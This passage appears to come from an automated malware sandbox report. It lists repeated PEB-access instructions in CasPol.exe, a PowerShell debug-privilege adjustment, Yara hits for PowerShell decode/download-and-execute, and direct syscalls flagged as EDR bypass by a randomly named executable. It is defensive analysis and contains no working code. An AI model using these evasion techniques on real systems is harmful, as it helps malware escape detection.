Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01560535 mov eax, dword ptr fs:[00000030h]	10_2_01560535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01560535 mov eax, dword ptr fs:[00000030h]	10_2_01560535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158D530 mov eax, dword ptr fs:[00000030h]	10_2_0158D530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158D530 mov eax, dword ptr fs:[00000030h]	10_2_0158D530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157E53E mov eax, dword ptr fs:[00000030h]	10_2_0157E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157E53E mov eax, dword ptr fs:[00000030h]	10_2_0157E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157E53E mov eax, dword ptr fs:[00000030h]	10_2_0157E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157E53E mov eax, dword ptr fs:[00000030h]	10_2_0157E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157E53E mov eax, dword ptr fs:[00000030h]	10_2_0157E53E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015FF525 mov eax, dword ptr fs:[00000030h]	10_2_015FF525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015FF525 mov eax, dword ptr fs:[00000030h]	10_2_015FF525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015FF525 mov eax, dword ptr fs:[00000030h]	10_2_015FF525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015FF525 mov eax, dword ptr fs:[00000030h]	10_2_015FF525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015FF525 mov eax, dword ptr fs:[00000030h]	10_2_015FF525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015FF525 mov eax, dword ptr fs:[00000030h]	10_2_015FF525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015FF525 mov eax, dword ptr fs:[00000030h]	10_2_015FF525
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015565D0 mov eax, dword ptr fs:[00000030h]	10_2_015565D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158A5D0 mov eax, dword ptr fs:[00000030h]	10_2_0158A5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158A5D0 mov eax, dword ptr fs:[00000030h]	10_2_0158A5D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015795DA mov eax, dword ptr fs:[00000030h]	10_2_015795DA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158E5CF mov eax, dword ptr fs:[00000030h]	10_2_0158E5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158E5CF mov eax, dword ptr fs:[00000030h]	10_2_0158E5CF
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015855C0 mov eax, dword ptr fs:[00000030h]	10_2_015855C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015715F4 mov eax, dword ptr fs:[00000030h]	10_2_015715F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015715F4 mov eax, dword ptr fs:[00000030h]	10_2_015715F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015715F4 mov eax, dword ptr fs:[00000030h]	10_2_015715F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015715F4 mov eax, dword ptr fs:[00000030h]	10_2_015715F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015715F4 mov eax, dword ptr fs:[00000030h]	10_2_015715F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015715F4 mov eax, dword ptr fs:[00000030h]	10_2_015715F4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016255C9 mov eax, dword ptr fs:[00000030h]	10_2_016255C9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157E5E7 mov eax, dword ptr fs:[00000030h]	10_2_0157E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157E5E7 mov eax, dword ptr fs:[00000030h]	10_2_0157E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157E5E7 mov eax, dword ptr fs:[00000030h]	10_2_0157E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157E5E7 mov eax, dword ptr fs:[00000030h]	10_2_0157E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157E5E7 mov eax, dword ptr fs:[00000030h]	10_2_0157E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157E5E7 mov eax, dword ptr fs:[00000030h]	10_2_0157E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157E5E7 mov eax, dword ptr fs:[00000030h]	10_2_0157E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157E5E7 mov eax, dword ptr fs:[00000030h]	10_2_0157E5E7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158C5ED mov eax, dword ptr fs:[00000030h]	10_2_0158C5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158C5ED mov eax, dword ptr fs:[00000030h]	10_2_0158C5ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016235D7 mov eax, dword ptr fs:[00000030h]	10_2_016235D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016235D7 mov eax, dword ptr fs:[00000030h]	10_2_016235D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016235D7 mov eax, dword ptr fs:[00000030h]	10_2_016235D7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015525E0 mov eax, dword ptr fs:[00000030h]	10_2_015525E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158E59C mov eax, dword ptr fs:[00000030h]	10_2_0158E59C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015DB594 mov eax, dword ptr fs:[00000030h]	10_2_015DB594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015DB594 mov eax, dword ptr fs:[00000030h]	10_2_015DB594
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01584588 mov eax, dword ptr fs:[00000030h]	10_2_01584588
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01552582 mov eax, dword ptr fs:[00000030h]	10_2_01552582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01552582 mov ecx, dword ptr fs:[00000030h]	10_2_01552582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154758F mov eax, dword ptr fs:[00000030h]	10_2_0154758F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154758F mov eax, dword ptr fs:[00000030h]	10_2_0154758F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154758F mov eax, dword ptr fs:[00000030h]	10_2_0154758F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0160F5BE mov eax, dword ptr fs:[00000030h]	10_2_0160F5BE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015E35BA mov eax, dword ptr fs:[00000030h]	10_2_015E35BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015E35BA mov eax, dword ptr fs:[00000030h]	10_2_015E35BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015E35BA mov eax, dword ptr fs:[00000030h]	10_2_015E35BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015E35BA mov eax, dword ptr fs:[00000030h]	10_2_015E35BA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015745B1 mov eax, dword ptr fs:[00000030h]	10_2_015745B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015745B1 mov eax, dword ptr fs:[00000030h]	10_2_015745B1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157F5B0 mov eax, dword ptr fs:[00000030h]	10_2_0157F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157F5B0 mov eax, dword ptr fs:[00000030h]	10_2_0157F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157F5B0 mov eax, dword ptr fs:[00000030h]	10_2_0157F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157F5B0 mov eax, dword ptr fs:[00000030h]	10_2_0157F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157F5B0 mov eax, dword ptr fs:[00000030h]	10_2_0157F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157F5B0 mov eax, dword ptr fs:[00000030h]	10_2_0157F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157F5B0 mov eax, dword ptr fs:[00000030h]	10_2_0157F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157F5B0 mov eax, dword ptr fs:[00000030h]	10_2_0157F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157F5B0 mov eax, dword ptr fs:[00000030h]	10_2_0157F5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D05A7 mov eax, dword ptr fs:[00000030h]	10_2_015D05A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D05A7 mov eax, dword ptr fs:[00000030h]	10_2_015D05A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D05A7 mov eax, dword ptr fs:[00000030h]	10_2_015D05A7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015715A9 mov eax, dword ptr fs:[00000030h]	10_2_015715A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015715A9 mov eax, dword ptr fs:[00000030h]	10_2_015715A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015715A9 mov eax, dword ptr fs:[00000030h]	10_2_015715A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015715A9 mov eax, dword ptr fs:[00000030h]	10_2_015715A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015715A9 mov eax, dword ptr fs:[00000030h]	10_2_015715A9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154645D mov eax, dword ptr fs:[00000030h]	10_2_0154645D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157245A mov eax, dword ptr fs:[00000030h]	10_2_0157245A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155B440 mov eax, dword ptr fs:[00000030h]	10_2_0155B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155B440 mov eax, dword ptr fs:[00000030h]	10_2_0155B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155B440 mov eax, dword ptr fs:[00000030h]	10_2_0155B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155B440 mov eax, dword ptr fs:[00000030h]	10_2_0155B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155B440 mov eax, dword ptr fs:[00000030h]	10_2_0155B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0155B440 mov eax, dword ptr fs:[00000030h]	10_2_0155B440
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158E443 mov eax, dword ptr fs:[00000030h]	10_2_0158E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158E443 mov eax, dword ptr fs:[00000030h]	10_2_0158E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158E443 mov eax, dword ptr fs:[00000030h]	10_2_0158E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158E443 mov eax, dword ptr fs:[00000030h]	10_2_0158E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158E443 mov eax, dword ptr fs:[00000030h]	10_2_0158E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158E443 mov eax, dword ptr fs:[00000030h]	10_2_0158E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158E443 mov eax, dword ptr fs:[00000030h]	10_2_0158E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158E443 mov eax, dword ptr fs:[00000030h]	10_2_0158E443
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0162547F mov eax, dword ptr fs:[00000030h]	10_2_0162547F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157A470 mov eax, dword ptr fs:[00000030h]	10_2_0157A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157A470 mov eax, dword ptr fs:[00000030h]	10_2_0157A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157A470 mov eax, dword ptr fs:[00000030h]	10_2_0157A470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0160F453 mov eax, dword ptr fs:[00000030h]	10_2_0160F453
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01551460 mov eax, dword ptr fs:[00000030h]	10_2_01551460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01551460 mov eax, dword ptr fs:[00000030h]	10_2_01551460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01551460 mov eax, dword ptr fs:[00000030h]	10_2_01551460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01551460 mov eax, dword ptr fs:[00000030h]	10_2_01551460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01551460 mov eax, dword ptr fs:[00000030h]	10_2_01551460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0156F460 mov eax, dword ptr fs:[00000030h]	10_2_0156F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0156F460 mov eax, dword ptr fs:[00000030h]	10_2_0156F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0156F460 mov eax, dword ptr fs:[00000030h]	10_2_0156F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0156F460 mov eax, dword ptr fs:[00000030h]	10_2_0156F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0156F460 mov eax, dword ptr fs:[00000030h]	10_2_0156F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0156F460 mov eax, dword ptr fs:[00000030h]	10_2_0156F460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0157340D mov eax, dword ptr fs:[00000030h]	10_2_0157340D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01588402 mov eax, dword ptr fs:[00000030h]	10_2_01588402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01588402 mov eax, dword ptr fs:[00000030h]	10_2_01588402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01588402 mov eax, dword ptr fs:[00000030h]	10_2_01588402
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158A430 mov eax, dword ptr fs:[00000030h]	10_2_0158A430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154C427 mov eax, dword ptr fs:[00000030h]	10_2_0154C427
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154E420 mov eax, dword ptr fs:[00000030h]	10_2_0154E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154E420 mov eax, dword ptr fs:[00000030h]	10_2_0154E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154E420 mov eax, dword ptr fs:[00000030h]	10_2_0154E420
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015504E5 mov ecx, dword ptr fs:[00000030h]	10_2_015504E5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_016254DB mov eax, dword ptr fs:[00000030h]	10_2_016254DB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015F94E0 mov eax, dword ptr fs:[00000030h]	10_2_015F94E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01559486 mov eax, dword ptr fs:[00000030h]	10_2_01559486
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01559486 mov eax, dword ptr fs:[00000030h]	10_2_01559486
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0154B480 mov eax, dword ptr fs:[00000030h]	10_2_0154B480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015834B0 mov eax, dword ptr fs:[00000030h]	10_2_015834B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015844B0 mov ecx, dword ptr fs:[00000030h]	10_2_015844B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015DA4B0 mov eax, dword ptr fs:[00000030h]	10_2_015DA4B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015564AB mov eax, dword ptr fs:[00000030h]	10_2_015564AB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01550750 mov eax, dword ptr fs:[00000030h]	10_2_01550750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_015D4755 mov eax, dword ptr fs:[00000030h]	10_2_015D4755
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592750 mov eax, dword ptr fs:[00000030h]	10_2_01592750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01592750 mov eax, dword ptr fs:[00000030h]	10_2_01592750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158674D mov esi, dword ptr fs:[00000030h]	10_2_0158674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158674D mov eax, dword ptr fs:[00000030h]	10_2_0158674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_0158674D mov eax, dword ptr fs:[00000030h]	10_2_0158674D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01563740 mov eax, dword ptr fs:[00000030h]	10_2_01563740
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe	Code function: 10_2_01563740 mov eax, dword ptr fs:[00000030h]	10_2_01563740

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell decode and execute

Source: Yara match

File source: amsi32_1096.amsi.csv, type: OTHER

Yara detected Powershell download and execute

Source: Yara match	File source: amsi32_1096.amsi.csv, type: OTHER
Source: Yara match	File source: Process Memory Space: powershell.exe PID: 1096, type: MEMORYSTR

Found direct / indirect Syscall (likely to bypass EDR)

Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtAllocateVirtualMemory: Direct from: 0x76EF48EC	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtQueryAttributesFile: Direct from: 0x76EF2E6C	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtQueryVolumeInformationFile: Direct from: 0x76EF2F2C	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtQuerySystemInformation: Direct from: 0x76EF48CC	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtOpenSection: Direct from: 0x76EF2E0C	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtDeviceIoControlFile: Direct from: 0x76EF2AEC	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BEC	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtQueryInformationToken: Direct from: 0x76EF2CAC	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtCreateFile: Direct from: 0x76EF2FEC	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtOpenFile: Direct from: 0x76EF2DCC	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtTerminateThread: Direct from: 0x76EF2FCC	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtOpenKeyEx: Direct from: 0x76EF2B9C	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtSetInformationProcess: Direct from: 0x76EF2C5C	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtProtectVirtualMemory: Direct from: 0x76EF2F9C	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtWriteVirtualMemory: Direct from: 0x76EF2E3C	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtNotifyChangeKey: Direct from: 0x76EF3C2C	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtCreateMutant: Direct from: 0x76EF35CC	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtResumeThread: Direct from: 0x76EF36AC	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtMapViewOfSection: Direct from: 0x76EF2D1C	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtAllocateVirtualMemory: Direct from: 0x76EF2BFC	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtQuerySystemInformation: Direct from: 0x76EF2DFC	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtReadFile: Direct from: 0x76EF2ADC	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtDelayExecution: Direct from: 0x76EF2DDC	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtQueryInformationProcess: Direct from: 0x76EF2C26	Jump to behavior
Source: C:\Program Files (x86)\NTWdPgzKzLbuxCjTrDXjuyVYGnrROhiyAyBoUSHnPMBJRdrxUUFzxHrHbzfXIHvRb\xwZkSdnVCDBnu.exe	NtResumeThread: Direct from: 0x76EF2FBC	Jump to behavior
